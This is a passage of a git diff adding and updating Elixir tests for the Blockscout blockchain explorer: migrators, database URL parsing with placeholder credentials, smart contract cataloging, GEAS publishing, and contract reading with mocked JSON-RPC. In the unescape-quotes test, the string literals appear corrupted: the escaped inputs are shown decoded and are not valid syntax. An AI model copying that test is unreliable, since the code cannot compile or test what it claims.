:transaction_index, :index] + @tag :skip + test "from pbo to pto" do + first_block = insert(:block) + second_block = insert(:block) + insert(:pending_block_operation, block_number: first_block.number, block_hash: first_block.hash) + insert(:pending_block_operation, block_number: second_block.number, block_hash: second_block.hash) + + 2 + |> insert_list(:transaction) + |> with_block(first_block) + + 3 + |> insert_list(:transaction) + |> with_block(second_block) + + json_rpc_config = Application.get_env(:explorer, :json_rpc_named_arguments) + + Application.put_env( + :explorer, + :json_rpc_named_arguments, + Keyword.put(json_rpc_config, :variant, EthereumJSONRPC.Geth) + ) + + geth_config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(geth_config, :block_traceable?, false)) + + SwitchPendingOperations.start_link([]) + Process.sleep(100) + + assert [] = Repo.all(PendingBlockOperation) + assert [_, _, _, _, _] = Repo.all(PendingTransactionOperation) + end + + test "from pto to pbo" do + first_block = insert(:block) + second_block = insert(:block) + + transactions_1 = + 2 + |> insert_list(:transaction) + |> with_block(first_block) + + transactions_2 = + 3 + |> insert_list(:transaction) + |> with_block(second_block) + + pending_transactions = insert_list(4, :transaction) + + Enum.each(transactions_1 ++ transactions_2 ++ pending_transactions, fn %{hash: transaction_hash} -> + insert(:pending_transaction_operation, transaction_hash: transaction_hash) + end) + + json_rpc_config = Application.get_env(:explorer, :json_rpc_named_arguments) + + Application.put_env( + :explorer, + :json_rpc_named_arguments, + Keyword.put(json_rpc_config, :variant, EthereumJSONRPC.Geth) + ) + + geth_config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(geth_config, :block_traceable?, true)) + + SwitchPendingOperations.start_link([]) + Process.sleep(100) + + assert [] = Repo.all(PendingTransactionOperation) + assert [_, _] = Repo.all(PendingBlockOperation) + end + end +end diff --git a/apps/explorer/test/explorer/migrator/token_transfer_token_type_test.exs b/apps/explorer/test/explorer/migrator/token_transfer_token_type_test.exs new file mode 100644 index 000000000000..b6cc0ee1c372 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/token_transfer_token_type_test.exs @@ -0,0 +1,82 @@ +defmodule Explorer.Migrator.TokenTransferTokenTypeTest do + use Explorer.DataCase, async: false + + import Ecto.Query + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.TokenTransfer + alias Explorer.Migrator.{TokenTransferTokenType, MigrationStatus} + alias Explorer.Repo + + describe "Migrate token transfers" do + test "Set token_type and block_consensus for not processed token transfers" do + %{contract_address_hash: regular_token_hash} = regular_token = insert(:token) + + Enum.each(0..4, fn _x -> + token_transfer = + insert(:token_transfer, + from_address: insert(:address), + token_contract_address: regular_token.contract_address, + token_type: nil, + block_consensus: nil + ) + + assert %{token_type: nil, block_consensus: nil} = token_transfer + end) + + %{contract_address_hash: erc1155_token_hash} = erc1155_token = insert(:token, type: "ERC-1155") + + Enum.each(0..4, fn _x -> + token_transfer = + insert(:token_transfer, + from_address: insert(:address), + token_contract_address: erc1155_token.contract_address, + token_type: nil, + block_consensus: nil, + token_ids: nil + ) + + assert %{token_type: nil, block_consensus: nil, token_ids: nil} = token_transfer + end) + + assert MigrationStatus.get_status("tt_denormalization") == nil + + TokenTransferTokenType.start_link([]) + Process.sleep(100) + + TokenTransfer + |> where([tt], tt.token_contract_address_hash == ^regular_token_hash) + |> Repo.all() + |> Repo.preload([:token, :block]) + |> Enum.each(fn tt -> + assert %{ + token_type: token_type, + token: %{type: token_type}, + block_consensus: consensus, + block: %{consensus: consensus} + } = tt + + assert not is_nil(token_type) + assert not is_nil(consensus) + end) + + TokenTransfer + |> where([tt], tt.token_contract_address_hash == ^erc1155_token_hash) + |> Repo.all() + |> Repo.preload([:token, :block]) + |> Enum.each(fn tt -> + assert %{ + token_type: "ERC-20", + token: %{type: "ERC-1155"}, + block_consensus: consensus, + block: %{consensus: consensus} + } = tt + + assert not is_nil(consensus) + end) + + assert MigrationStatus.get_status("tt_denormalization") == "completed" + assert BackgroundMigrations.get_tt_denormalization_finished() == true + end + end +end diff --git a/apps/explorer/test/explorer/migrator/transactions_denormalization_migrator_test.exs b/apps/explorer/test/explorer/migrator/transactions_denormalization_migrator_test.exs new file mode 100644 index 000000000000..e47afe96da4d --- /dev/null +++ b/apps/explorer/test/explorer/migrator/transactions_denormalization_migrator_test.exs @@ -0,0 +1,43 @@ +defmodule Explorer.Migrator.TransactionsDenormalizationTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.Transaction + alias Explorer.Migrator.{MigrationStatus, TransactionsDenormalization} + alias Explorer.Repo + + describe "Migrate transactions" do + test "Set block_consensus and block_timestamp for not processed transactions" do + Enum.each(0..10, fn _x -> + transaction = + :transaction + |> insert() + |> with_block(block_timestamp: nil, block_consensus: nil) + + assert %{block_consensus: nil, block_timestamp: nil, block: %{consensus: consensus, timestamp: timestamp}} = + transaction + + assert not is_nil(consensus) + assert not is_nil(timestamp) + end) + + assert MigrationStatus.get_status("denormalization") == nil + + TransactionsDenormalization.start_link([]) + Process.sleep(100) + + Transaction + |> Repo.all() + |> Repo.preload(:block) + |> Enum.each(fn t -> + assert %{ + block_consensus: consensus, + block_timestamp: timestamp, + block: %{consensus: consensus, timestamp: timestamp} + } = t + end) + + assert MigrationStatus.get_status("denormalization") == "completed" + end + end +end diff --git a/apps/explorer/test/explorer/migrator/unescape_quotes_in_tokens_test.exs b/apps/explorer/test/explorer/migrator/unescape_quotes_in_tokens_test.exs new file mode 100644 index 000000000000..ec550478036f --- /dev/null +++ b/apps/explorer/test/explorer/migrator/unescape_quotes_in_tokens_test.exs @@ -0,0 +1,25 @@ +defmodule Explorer.Migrator.UnescapeQuotesInTokensTest do + use Explorer.DataCase, async: false + + alias Explorer.Migrator.{UnescapeQuotesInTokens, MigrationStatus} + alias Explorer.Repo + + test "Unescapes quotes in tokens" do + escaped_name_token = insert(:token, name: "Smth's") + escaped_symbol_token = insert(:token, symbol: ""Double quoted"") + escaped_both_token = insert(:token, name: "Smth's", symbol: ""Double quoted"") + common_token = :token |> insert() |> Repo.reload() + + assert MigrationStatus.get_status("unescape_quotes_in_tokens") == nil + UnescapeQuotesInTokens.start_link([]) + + Process.sleep(100) + + assert Repo.reload(escaped_name_token).name == "Smth's" + assert Repo.reload(escaped_symbol_token).symbol == "\"Double quoted\"" + assert %{name: "Smth's", symbol: "\"Double quoted\""} = Repo.reload(escaped_both_token) + assert ^common_token = Repo.reload(common_token) + + assert MigrationStatus.get_status("unescape_quotes_in_tokens") == "completed" + end +end diff --git a/apps/explorer/test/explorer/repo/config_helper_test.exs b/apps/explorer/test/explorer/repo/config_helper_test.exs index 8d606fe47cd5..71bb85077e31 100644 --- a/apps/explorer/test/explorer/repo/config_helper_test.exs +++ b/apps/explorer/test/explorer/repo/config_helper_test.exs @@ -28,7 +28,7 @@ defmodule Explorer.Repo.ConfigHelperTest do assert result[:database] == "test_database" end - test "parse params from database url with hyphen in databasename" do + test "parse params from database url with hyphen in database name" do database_url = "postgresql://test_username:test_password@host-name.test.com:7777/test-database" result = ConfigHelper.get_db_config(%{url: database_url, env_func: fn _ -> nil end}) @@ -40,13 +40,37 @@ defmodule Explorer.Repo.ConfigHelperTest do assert result[:database] == "test-database" end + test "parse params from database url with hyphen in database user name" do + database_url = "postgresql://test-username:password@hostname.test.com:7777/database" + + result = ConfigHelper.get_db_config(%{url: database_url, env_func: fn _ -> nil end}) + + assert result[:username] == "test-username" + assert result[:password] == "password" + assert result[:hostname] == "hostname.test.com" + assert result[:port] == "7777" + assert result[:database] == "database" + end + test "parse params from database url with special characters in password" do - database_url = "postgresql://test_username:awN!l#W*g$P%t-l^q&d@hostname.test.com:7777/test_database" + database_url = "postgresql://test_username:awN!l#W*g$P%t-l^.q&d@hostname.test.com:7777/test_database" + + result = ConfigHelper.get_db_config(%{url: database_url, env_func: fn _ -> nil end}) + + assert result[:username] == "test_username" + assert result[:password] == "awN!l#W*g$P%t-l^.q&d" + assert result[:hostname] == "hostname.test.com" + assert result[:port] == "7777" + assert result[:database] == "test_database" + end + + test "parse params from database url with encoded special characters in password" do + database_url = "postgresql://test_username:pass%23@hostname.test.com:7777/test_database" result = ConfigHelper.get_db_config(%{url: database_url, env_func: fn _ -> nil end}) assert result[:username] == "test_username" - assert result[:password] == "awN!l#W*g$P%t-l^q&d" + assert result[:password] == "pass#" assert result[:hostname] == "hostname.test.com" assert result[:port] == "7777" assert result[:database] == "test_database" diff --git a/apps/explorer/test/explorer/smart_contract/certified_smart_contract_cataloger_test.exs b/apps/explorer/test/explorer/smart_contract/certified_smart_contract_cataloger_test.exs new file mode 100644 index 000000000000..b3cd088914a1 --- /dev/null +++ b/apps/explorer/test/explorer/smart_contract/certified_smart_contract_cataloger_test.exs @@ -0,0 +1,88 @@ +defmodule Explorer.SmartContract.CertifiedSmartContractCatalogerTest do + use Explorer.DataCase + + alias Explorer.SmartContract.CertifiedSmartContractCataloger + alias Explorer.Chain.SmartContract + + setup do + old_configuration = Application.get_env(:block_scout_web, :contract) + certified_list = ["0xff9d236641962Cebf9DBFb54E7b8e91F99f10Db0", "0x0184245D202724dc28a2b688952Cb56C882c226F"] + + new_configuration = + old_configuration + |> Keyword.replace(:certified_list, certified_list) + + Application.put_env(:block_scout_web, :contract, new_configuration) + + on_exit(fn -> + Application.put_env(:block_scout_web, :contract, old_configuration) + end) + + {:ok, %{certified_list: certified_list}} + end + + describe "start_link/1" do + test "start_link/1 starts the GenServer" do + assert {:ok, _pid} = CertifiedSmartContractCataloger.start_link([]) + end + end + + describe "init/1" do + test "init/1 sends :fetch_certified_smart_contracts message" do + {:ok, _pid} = CertifiedSmartContractCataloger.init(:ok) + assert_received :fetch_certified_smart_contracts + end + end + + describe "handle_info/2" do + test "handle_info/2 updates certified flag", %{certified_list: certified_list} do + address_1 = insert(:address, hash: Enum.at(certified_list, 0)) + address_2 = insert(:address, hash: Enum.at(certified_list, 1)) + + insert(:smart_contract, address_hash: address_1.hash, contract_code_md5: "123") + insert(:smart_contract, address_hash: address_2.hash, contract_code_md5: "123") + + assert {:ok, _pid} = CertifiedSmartContractCataloger.start_link([]) + :timer.sleep(100) + + smart_contract_1 = Repo.get_by(SmartContract, address_hash: address_1.hash) + smart_contract_2 = Repo.get_by(SmartContract, address_hash: address_2.hash) + + assert smart_contract_1.certified == true + assert smart_contract_2.certified == true + end + + test "handle_info/2 removes certified flag for the smart-contracts from previous configuration", %{ + certified_list: certified_list + } do + address_1 = insert(:address, hash: Enum.at(certified_list, 0)) + address_2 = insert(:address, hash: Enum.at(certified_list, 1)) + + insert(:smart_contract, address_hash: address_1.hash, contract_code_md5: "123", certified: true) + insert(:smart_contract, address_hash: address_2.hash, contract_code_md5: "123", certified: true) + + old_configuration = Application.get_env(:block_scout_web, :contract) + new_certified_list = ["0x6e8A77673109783001150DFA770E6c662f473DA9"] + + new_configuration = + old_configuration + |> Keyword.replace(:certified_list, new_certified_list) + + Application.put_env(:block_scout_web, :contract, new_configuration) + + address_3 = insert(:address, hash: Enum.at(new_certified_list, 0)) + insert(:smart_contract, address_hash: address_3.hash, contract_code_md5: "123") + + assert {:ok, _pid} = CertifiedSmartContractCataloger.start_link([]) + :timer.sleep(100) + + smart_contract_1 = Repo.get_by(SmartContract, address_hash: address_1.hash) + smart_contract_2 = Repo.get_by(SmartContract, address_hash: address_2.hash) + smart_contract_3 = Repo.get_by(SmartContract, address_hash: address_3.hash) + + assert smart_contract_1.certified == false + assert smart_contract_2.certified == false + assert smart_contract_3.certified == true + end + end +end diff --git a/apps/explorer/test/explorer/smart_contract/compiler_version_test.exs b/apps/explorer/test/explorer/smart_contract/compiler_version_test.exs index 02e396d866c5..c07ab7f85c95 100644 --- a/apps/explorer/test/explorer/smart_contract/compiler_version_test.exs +++ b/apps/explorer/test/explorer/smart_contract/compiler_version_test.exs @@ -6,10 +6,24 @@ defmodule Explorer.SmartContract.CompilerVersionTest do alias Explorer.SmartContract.CompilerVersion alias Plug.Conn + setup do + configuration = Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour) + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, enabled: false) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, configuration) + end) + end + describe "fetch_versions/1" do setup do bypass = Bypass.open() + on_exit(fn -> + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) Application.put_env(:explorer, :solc_bin_api_url, "http://localhost:#{bypass.port}") {:ok, bypass: bypass} @@ -50,7 +64,7 @@ defmodule Explorer.SmartContract.CompilerVersionTest do test "returns error when there is server error", %{bypass: bypass} do Bypass.down(bypass) - assert {:error, :econnrefused} = CompilerVersion.fetch_versions(:solc) + assert {:error, %{reason: :econnrefused}} = CompilerVersion.fetch_versions(:solc) end end diff --git a/apps/explorer/test/explorer/smart_contract/geas/publisher_test.exs b/apps/explorer/test/explorer/smart_contract/geas/publisher_test.exs new file mode 100644 index 000000000000..1f2672b6783d --- /dev/null +++ b/apps/explorer/test/explorer/smart_contract/geas/publisher_test.exs @@ -0,0 +1,86 @@ +defmodule Explorer.SmartContract.Geas.PublisherTest do + use ExUnit.Case, async: true + + use Explorer.DataCase + + doctest Explorer.SmartContract.Geas.Publisher + + @moduletag timeout: :infinity + + alias Explorer.Chain.{SmartContract} + alias Explorer.SmartContract.Geas.Publisher + + setup do + configuration = Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour) + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, enabled: false) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, configuration) + end) + end + + describe "process_rust_verifier_response/6" do + test "successfully processes a GEAS verification response" do + contract_address = insert(:contract_address) + + geas_response = %{ + "fileName" => "src/consolidations/main.eas", + "contractName" => "ConsolidationRequestPredeploy", + "compilerVersion" => "v0.2.2", + "compilerSettings" => "{}", + "sourceType" => "GEAS", + "sourceFiles" => %{ + "src/common/fake_expo.eas" => "// Test GEAS contract source code", + "src/consolidations/ctor.eas" => "// Test GEAS contract source code", + "src/consolidations/main.eas" => "// Test GEAS contract source code" + }, + "abi" => + Jason.encode!([ + %{ + "type" => "function", + "name" => "test_function", + "inputs" => [], + "outputs" => [%{"type" => "bool"}], + "stateMutability" => "view" + } + ]), + "constructorArguments" => nil, + "matchType" => "PARTIAL", + "compilationArtifacts" => "{}", + "creationInputArtifacts" => "{}", + "deployedBytecodeArtifacts" => "{}", + "isBlueprint" => false, + "libraries" => %{} + } + + response = + Publisher.process_rust_verifier_response( + geas_response, + contract_address.hash, + %{}, + # save_file_path? + true, + # is_standard_json? + true, + # automatically_verified? + true + ) + + assert {:ok, %SmartContract{} = smart_contract} = response + + assert smart_contract.address_hash == contract_address.hash + assert smart_contract.name == "ConsolidationRequestPredeploy" + assert smart_contract.compiler_version == "v0.2.2" + assert smart_contract.file_path == "src/consolidations/main.eas" + + assert smart_contract.contract_source_code == + "// Test GEAS contract source code" + + assert smart_contract.language == :geas + assert smart_contract.verified_via_eth_bytecode_db == true + assert smart_contract.partially_verified == true + assert is_list(smart_contract.abi) + assert length(smart_contract.abi) == 1 + end + end +end diff --git a/apps/explorer/test/explorer/smart_contract/helper_test.exs b/apps/explorer/test/explorer/smart_contract/helper_test.exs index 4cd3832434c9..9b105cf263e3 100644 --- a/apps/explorer/test/explorer/smart_contract/helper_test.exs +++ b/apps/explorer/test/explorer/smart_contract/helper_test.exs @@ -1,7 +1,10 @@ defmodule Explorer.SmartContract.HelperTest do use ExUnit.Case, async: true - use Explorer.DataCase + + import Mox + setup :verify_on_exit! + alias Explorer.SmartContract.Helper describe "payable?" do @@ -124,4 +127,103 @@ defmodule Explorer.SmartContract.HelperTest do refute Helper.nonpayable?(function) end end + + describe "read_with_wallet_method?" do + test "doesn't return payable method with output in the read tab" do + function = %{ + "type" => "function", + "stateMutability" => "payable", + "outputs" => [%{"type" => "address", "name" => "", "internalType" => "address"}], + "name" => "returnaddress", + "inputs" => [] + } + + refute Helper.read_with_wallet_method?(function) + end + + test "doesn't return payable method with no output in the read tab" do + function = %{ + "type" => "function", + "stateMutability" => "payable", + "outputs" => [], + "name" => "returnaddress", + "inputs" => [] + } + + refute Helper.read_with_wallet_method?(function) + end + end + + describe "get_binary_string_from_contract_getter/4" do + # TODO: https://github.com/blockscout/blockscout/issues/12544 + # test "returns bytes starting from 0x" do + # abi = [ + # %{ + # "type" => "function", + # "stateMutability" => "view", + # "outputs" => [%{"type" => "bytes16", "name" => "data", "internalType" => "bytes16"}], + # "name" => "getData", + # "inputs" => [] + # } + # ] + + # expect( + # EthereumJSONRPC.Mox, + # :json_rpc, + # fn [ + # %{ + # id: id, + # method: "eth_call", + # params: [%{data: "0x3bc5de30", to: "0x0000000000000000000000000000000000000001"}, _] + # } + # ], + # _options -> + # {:ok, + # [%{id: id, jsonrpc: "2.0", result: "0x3078313233343536373839404142434400000000000000000000000000000000"}]} + # end + # ) + + # assert "0x30783132333435363738394041424344" == + # Helper.get_binary_string_from_contract_getter( + # "3bc5de30", + # "0x0000000000000000000000000000000000000001", + # abi + # ) + # end + + test "returns address" do + abi = [ + %{ + "type" => "function", + "stateMutability" => "view", + "outputs" => [%{"type" => "address", "name" => "data", "internalType" => "address"}], + "name" => "getAddress", + "inputs" => [] + } + ] + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id, + method: "eth_call", + params: [%{data: "0x38cc4831", to: "0x0000000000000000000000000000000000000001"}, _] + } + ], + _options -> + {:ok, + [%{id: id, jsonrpc: "2.0", result: "0x0000000000000000000000003078000000000000000000000000000000000001"}]} + end + ) + + assert "0x3078000000000000000000000000000000000001" == + Helper.get_binary_string_from_contract_getter( + "38cc4831", + "0x0000000000000000000000000000000000000001", + abi + ) + end + end end diff --git a/apps/explorer/test/explorer/smart_contract/reader_test.exs b/apps/explorer/test/explorer/smart_contract/reader_test.exs index 8f8e95b55e75..184a28cbd861 100644 --- a/apps/explorer/test/explorer/smart_contract/reader_test.exs +++ b/apps/explorer/test/explorer/smart_contract/reader_test.exs @@ -102,6 +102,166 @@ defmodule Explorer.SmartContract.ReaderTest do assert %{"6d4ce63c" => {:error, "no function clause matches"}} = response end + + test "with function ABI that is missing the outputs field" do + smart_contract = + build(:smart_contract, + abi: [ + %{ + "type" => "function", + "stateMutability" => "view", + "name" => "assumeLastTokenIdMatches", + "inputs" => [ + %{ + "type" => "uint256", + "name" => "lastTokenId", + "internalType" => "uint256" + } + ] + } + ] + ) + + contract_address_hash = Hash.to_string(smart_contract.address_hash) + abi = smart_contract.abi + + blockchain_get_function_mock() + + response = Reader.query_contract(contract_address_hash, abi, %{"e72878b4" => [123]}, false) + + assert response == %{"e72878b4" => {:ok, []}} + end + + @abi [ + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [ + %{"type" => "string", "name" => ""} + ], + "name" => "tokenURI", + "inputs" => [ + %{ + "type" => "uint256", + "name" => "_tokenId" + } + ], + "constant" => true + } + ] + + @abi_uri [ + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [ + %{ + "type" => "string", + "name" => "", + "internalType" => "string" + } + ], + "name" => "uri", + "inputs" => [ + %{ + "type" => "uint256", + "name" => "_id", + "internalType" => "uint256" + } + ], + "constant" => true + } + ] + + test "fetches json metadata", %{json_rpc_named_arguments: json_rpc_named_arguments} do + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: + "0xc87b56dd000000000000000000000000000000000000000000000000fdd5b9fa9d4bfb20", + to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: + "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000003568747470733a2f2f7661756c742e7761727269646572732e636f6d2f31383239303732393934373636373130323439362e6a736f6e0000000000000000000000" + } + ]} + end) + end + + assert %{ + "c87b56dd" => {:ok, ["https://vault.warriders.com/18290729947667102496.json"]} + } == + Reader.query_contract( + "0x5caebd3b32e210e85ce3e9d51638b9c445481567", + @abi, + %{ + "c87b56dd" => [18_290_729_947_667_102_496] + }, + false + ) + end + + test "fetches json metadata for ERC-1155 token", %{json_rpc_named_arguments: json_rpc_named_arguments} do + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: + "0x0e89341c000000000000000000000000000000000000000000000000fdd5b9fa9d4bfb20", + to: "0x5caebd3b32e210e85ce3e9d51638b9c445481567" + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: 0, + jsonrpc: "2.0", + result: + "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000003568747470733a2f2f7661756c742e7761727269646572732e636f6d2f31383239303732393934373636373130323439362e6a736f6e0000000000000000000000" + } + ]} + end) + end + + assert %{ + "0e89341c" => {:ok, ["https://vault.warriders.com/18290729947667102496.json"]} + } == + Reader.query_contract( + "0x5caebd3b32e210e85ce3e9d51638b9c445481567", + @abi_uri, + %{ + "0e89341c" => [18_290_729_947_667_102_496] + }, + false + ) + end end describe "query_verified_contract/3" do @@ -118,7 +278,7 @@ defmodule Explorer.SmartContract.ReaderTest do end describe "read_only_functions/1" do - test "fetches the smart contract read only functions with the blockchain value" do + test "fetches the smart contract read only functions with the blockchain value with provided smart_contract" do smart_contract = insert( :smart_contract, @@ -146,14 +306,14 @@ defmodule Explorer.SmartContract.ReaderTest do blockchain_get_function_mock() - response = Reader.read_only_functions(smart_contract.address_hash) + response = Reader.read_only_functions(smart_contract, smart_contract.address_hash, nil) assert [ %{ "constant" => true, "inputs" => [], "name" => "get", - "outputs" => [%{"name" => "", "type" => "uint256", "value" => 0}], + "outputs" => [%{"type" => "uint256", "value" => 0}], "payable" => _, "stateMutability" => _, "type" => _ @@ -162,7 +322,7 @@ defmodule Explorer.SmartContract.ReaderTest do "constant" => true, "inputs" => [%{"name" => "x", "type" => "uint256"}], "name" => "with_arguments", - "outputs" => [%{"name" => "", "type" => "bool", "value" => ""}], + "outputs" => [%{"type" => "bool"}], "payable" => _, "stateMutability" => _, "type" => _ @@ -229,7 +389,8 @@ defmodule Explorer.SmartContract.ReaderTest do response = Reader.read_only_functions_proxy( proxy_smart_contract.address_hash, - "0x" <> implementation_contract_address_hash_string + "0x" <> implementation_contract_address_hash_string, + nil ) assert [ @@ -237,7 +398,7 @@ defmodule Explorer.SmartContract.ReaderTest do "constant" => true, "inputs" => [], "name" => "get", - "outputs" => [%{"name" => "", "type" => "uint256", "value" => 0}], + "outputs" => [%{"type" => "uint256", "value" => 0}], "payable" => _, "stateMutability" => _, "type" => _ @@ -246,7 +407,7 @@ defmodule Explorer.SmartContract.ReaderTest do "constant" => true, "inputs" => [%{"name" => "x", "type" => "uint256"}], "name" => "with_arguments", - "outputs" => [%{"name" => "", "type" => "bool", "value" => ""}], + "outputs" => [%{"type" => "bool"}], "payable" => _, "stateMutability" => _, "type" => _ @@ -259,6 +420,7 @@ defmodule Explorer.SmartContract.ReaderTest do test "given the arguments, fetches the function value from the blockchain" do smart_contract = insert(:smart_contract, contract_code_md5: "123") + blockchain_get_function_mock() blockchain_get_function_mock() assert [ @@ -266,13 +428,49 @@ defmodule Explorer.SmartContract.ReaderTest do "type" => "uint256", "value" => 0 } - ] = Reader.query_function(smart_contract.address_hash, %{method_id: "6d4ce63c", args: []}, :regular, false) + ] = + Reader.query_function( + smart_contract.address_hash, + %{method_id: "6d4ce63c", args: []}, + :regular, + nil, + false + ) + + assert [ + %{ + "type" => "uint256", + "value" => 0 + } + ] = + Reader.query_function_with_custom_abi( + smart_contract.address_hash, + %{method_id: "6d4ce63c", args: []}, + nil, + false, + smart_contract.abi + ) end test "nil arguments is treated as []" do smart_contract = insert(:smart_contract, contract_code_md5: "123") blockchain_get_function_mock() + blockchain_get_function_mock() + + assert [ + %{ + "type" => "uint256", + "value" => 0 + } + ] = + Reader.query_function( + smart_contract.address_hash, + %{method_id: "6d4ce63c", args: nil}, + :regular, + nil, + false + ) assert [ %{ @@ -280,7 +478,13 @@ defmodule Explorer.SmartContract.ReaderTest do "value" => 0 } ] = - Reader.query_function(smart_contract.address_hash, %{method_id: "6d4ce63c", args: nil}, :regular, false) + Reader.query_function_with_custom_abi( + smart_contract.address_hash, + %{method_id: "6d4ce63c", args: []}, + nil, + false, + smart_contract.abi + ) end end diff --git a/apps/explorer/test/explorer/smart_contract/solidity/code_compiler_test.exs b/apps/explorer/test/explorer/smart_contract/solidity/code_compiler_test.exs index 2bf98044c47b..8d518836771b 100644 --- a/apps/explorer/test/explorer/smart_contract/solidity/code_compiler_test.exs +++ b/apps/explorer/test/explorer/smart_contract/solidity/code_compiler_test.exs @@ -1,393 +1,406 @@ defmodule Explorer.SmartContract.Solidity.CodeCompilerTest do use ExUnit.Case, async: true - doctest Explorer.SmartContract.Solidity.CodeCompiler + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] - @moduletag timeout: :infinity + if @chain_type == :default do + doctest Explorer.SmartContract.Solidity.CodeCompiler - alias Explorer.Factory - alias Explorer.SmartContract.Solidity.CodeCompiler + @moduletag timeout: :infinity - @compiler_tests "#{File.cwd!()}/test/support/fixture/smart_contract/compiler_tests.json" - |> File.read!() - |> Jason.decode!() + alias Explorer.Factory + alias Explorer.SmartContract.Solidity.CodeCompiler - describe "run/2" do - setup do - {:ok, - contract_code_info: Factory.contract_code_info(), - contract_code_info_modern_compilator: Factory.contract_code_info_modern_compilator()} - end + @compiler_tests "#{File.cwd!()}/test/support/fixture/smart_contract/compiler_tests.json" + |> File.read!() + |> Jason.decode!() - test "compiles the latest solidity version", %{contract_code_info: contract_code_info} do - response = - CodeCompiler.run( - name: contract_code_info.name, - compiler_version: contract_code_info.version, - code: contract_code_info.source_code, - optimize: contract_code_info.optimized, - evm_version: "byzantium" - ) - - assert {:ok, - %{ - "abi" => _, - "bytecode" => _, - "name" => _ - }} = response - end + describe "run/2" do + setup do + configuration = Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour) + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, enabled: false) + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) - test "compiles a optimized smart contract", %{ - contract_code_info_modern_compilator: contract_code_info_modern_compilator - } do - optimize = true - - response = - CodeCompiler.run( - name: contract_code_info_modern_compilator.name, - compiler_version: contract_code_info_modern_compilator.version, - code: contract_code_info_modern_compilator.source_code, - optimize: optimize, - evm_version: "byzantium" - ) - - assert {:ok, - %{ - "abi" => _, - "bytecode" => _, - "name" => _ - }} = response - end + on_exit(fn -> + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) - test "compiles smart contract with default evm version", %{ - contract_code_info_modern_compilator: contract_code_info_modern_compilator - } do - optimize = true - - response = - CodeCompiler.run( - name: contract_code_info_modern_compilator.name, - compiler_version: contract_code_info_modern_compilator.version, - code: contract_code_info_modern_compilator.source_code, - optimize: optimize, - evm_version: "default" - ) - - assert {:ok, - %{ - "abi" => _, - "bytecode" => _, - "name" => _ - }} = response - end + {:ok, + contract_code_info: Factory.contract_code_info(), + contract_code_info_modern_compiler: Factory.contract_code_info_modern_compiler()} + end - test "compiles code with external libraries" do - Enum.each(@compiler_tests, fn compiler_test -> - compiler_version = compiler_test["compiler_version"] - external_libraries = compiler_test["external_libraries"] - name = compiler_test["name"] - optimize = compiler_test["optimize"] - contract = compiler_test["contract"] - - {:ok, result} = + test "compiles the latest solidity version", %{contract_code_info: contract_code_info} do + response = CodeCompiler.run( - name: name, - compiler_version: compiler_version, - code: contract, - optimize: optimize, - evm_version: "byzantium", - external_libs: external_libraries + name: contract_code_info.name, + compiler_version: contract_code_info.version, + code: contract_code_info.source_code, + optimize: contract_code_info.optimized, + evm_version: "byzantium" ) - clean_result = remove_init_data_and_whisper_data(result["bytecode"]) - expected_result = remove_init_data_and_whisper_data(compiler_test["tx_input"]) - - assert expected_result == clean_result - end) - end + assert {:ok, + %{ + "abi" => _, + "bytecode" => _, + "name" => _ + }} = response + end - test "compiles with constantinople evm version" do - optimize = false - name = "MyTest" - - code = """ - pragma solidity 0.5.2; - - contract MyTest { - constructor() public { - } - - mapping(address => bytes32) public myMapping; - - function contractHash(address _addr) public { - bytes32 hash; - assembly { hash := extcodehash(_addr) } - myMapping[_addr] = hash; - } - - function justHash(bytes memory _bytes) - public - pure - returns (bytes32) - { - return keccak256(_bytes); - } - } - """ - - version = "v0.5.2+commit.1df8f40c" - - evm_version = "constantinople" - - response = - CodeCompiler.run( - name: name, - compiler_version: version, - code: code, - optimize: optimize, - evm_version: evm_version - ) - - assert {:ok, - %{ - "abi" => _, - "bytecode" => _, - "name" => _ - }} = response - end + test "compiles a optimized smart contract", %{ + contract_code_info_modern_compiler: contract_code_info_modern_compiler + } do + optimize = true - test "compiles in an older solidity version" do - optimize = false - name = "SimpleStorage" + response = + CodeCompiler.run( + name: contract_code_info_modern_compiler.name, + compiler_version: 